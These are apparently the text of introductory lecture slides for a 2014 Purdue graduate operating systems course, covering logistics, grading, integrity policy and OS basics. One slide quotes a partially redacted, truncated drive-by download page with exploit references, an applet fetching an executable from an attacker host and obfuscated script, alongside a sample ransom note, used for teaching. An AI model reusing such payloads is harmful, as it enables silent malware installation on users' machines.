CS503: Operating Systems
Spring 2014
Dongyan Xu
Department of Computer Science
Purdue University
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General Information
• Web Page:
http://www.cs.purdue.edu/homes/cs503
• Textbook:
– Douglas Comer, Operating System Design, The
Xinu Approach (Linksys version)
• Lab platform:
– Xinu on Linksys router (MIPS ISA)
– Xinu on x86 virtual machine
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Staff
• Dongyan Xu (7th time teaching CS354)
– Ph.D. University of Illinois at Urbana-Champaign
– Prof. (2013-present), Assoc. Prof. (2007-13),
Assist. Prof. (2001-2007)
– Research:
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Virtualization (VMware, Xen, KVM…)
Malware (rootkits, botnets, APTs…) defense
Cloud computing
Binary reverse engineering
• Office hours (Tue. 3pm-5pm, LWSN1173)
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Staff
• Teaching Assistants
– Liang Li
– Bo Sang
• Office hours to be announced
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On-line Discussion Venue: Piazza
• Please join by accessing:
– https://piazza.com/purdue/fall2013/cs503
• All announcements will be posted there
• Discussion on labs
• It is your responsibility to check for official
announcements, clarification of lab specification,
and answers to lab-related questions.
• But grades will still be posted on Blackboard
Learn
– http://www.itap.purdue.edu/learning/tools/blackboard/
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PSOs
• There are no PSO sessions this week and next
week
• The labs will be explained in PSOs.
• Attendance is not mandatory (but encouraged)
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Grading
• Grade breakdown:
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–
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Midterm:
Final:
Labs:
Paper reviews:
20%
25%
45%
10% (5-6 papers)
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Late/Grading Policies
• Check Blackboard Learn for grade posting
• Late policy for labs
– No late submission accepted, but you will have 4
non-emergency Bonus Days (penalty-free)
• Labs will be done individually
– General discussion allowed
– Must be on your own when coding starts
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Re-Grading Policy
• You have 2 weeks (after the grade for a
lab/quiz/exam is released) to request for regrading
• Re-grading requests for exams need to be in
writing
• After the re-grading period, no re-grading
request will be honored.
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Academic Integrity Policy
• Academic integrity: lifeline in academia
• Your labs, exams, and paper reviews must be
your own - we have a zero tolerance policy
towards cheating of any kind and any student
who cheats will get
– Zero for the project/quiz/exam at first offense
– F grade for the course thereafter
• Both the cheater and the person(s) who aided
the cheater will be held responsible for the
cheating
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Lecture Format
• Help you understand important and hard OS
concepts, design, and implementation
• Lectures do not cover everything
– Not all questions in exams are from lectures
– But many of them are 
• Your responsibility
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Attend lectures
Read code, textbook, lecture notes, assigned papers
Labs, exams
Periodically check web page
Read/participate in Piazza discussion
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Course Organization
1.
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OS overview
Computer architecture overview
Processes scheduling and management
Process synchronization
Memory management
Interrupt processing
Device drivers
File system
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Pre-requisite
• Undergraduate OS and architecture
• C programming proficiency
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Introduction
1. SABRE (IBM, 1964). The descendent of the Air Force’s
fabled SAGE program, SABRE solved a problem for which
computers were ideally suited: airline reservations. Just-intime inventory tracking, real-time data management,
distributed enterprise systems? SABRE and American
Airlines were there first.
• A computer system consists of
– Hardware
– System programs
– Application programs
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Interfacing with Operating System
What is an Operating System (OS)
• It is a system program that sits between
hardware and application programs.
• The program starts running at boot time.
• Who boots up the OS?
– BIOS self-check -> determining boot device ->
first sector loaded and executed -> partitionspecific boot loader loaded and executed -> OS
loaded and executed
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What does an OS do?
• “To serve and to protect”
• It offers services that are common to all
applications:
– Program execution, printing, windowing, file
access, resource allocation
• It enables multitasking
– Allows multiple processes running at the same
time
• It offers protection/security.
– E.g., a user cannot see files of other users.
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(Lack of) OS Security
• Malware
– Botnets
– Worms
• Why do they spread so quickly?
– Spyware, keylogger, identity theft, blackmail…
GREETINGS FROM GENERAL ENCRYPTION!
TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE
SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY,
PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS
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A Real Incident
• Upon Clicking a malicious URL
– http://xxx.9x.xx8.8x/users/xxxx/xxx/la
xx/z.html
<html><head><title></title></head><body>
MS05-002
<style>
* {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")}
</style>
MS03-011
<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1
HEIGHT=1>
<PARAM NAME='url'
VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET>
<script>
MS04-013
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try{
document.write('<object
data=`&#109&#115&#45&#105&#116&#115&#58
&#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58;
unwanted//C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+
programs installed without user’s consent!
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What does an operating system offer?
– Reliability
• Each program runs inside a “sandbox”. If the
process does something wrong like writing to an
invalid memory, it will receive a notification.
Processes will not get out of the sandbox. The OS
continues running.
– Fairness
• access to resources has to be fair across users
with the same priority.
– Support for multiple users
• It allows running multiple users in the same
machine simultaneously.
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The Operating System Zoo
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Mainframe OS
Server OS
Multiprocessor OS
Personal computer OS
Real-time OS
Embedded OS
Smartphone OS
Browser OS
Cloud OS
OS for OSes (hypervisors)
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Windows 8
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Android
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Android Platform
http://code.google.com/android/
• The first complete, open, and free mobile platform
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Wireless Sensor Nodes
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Blue Gene/L Supercomputer
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Blue Gene/L OS
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Summary
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Course overview
Policy and requirement
What is OS?
OS history
• Coming up next:
– Review of computer architecture and program
structure
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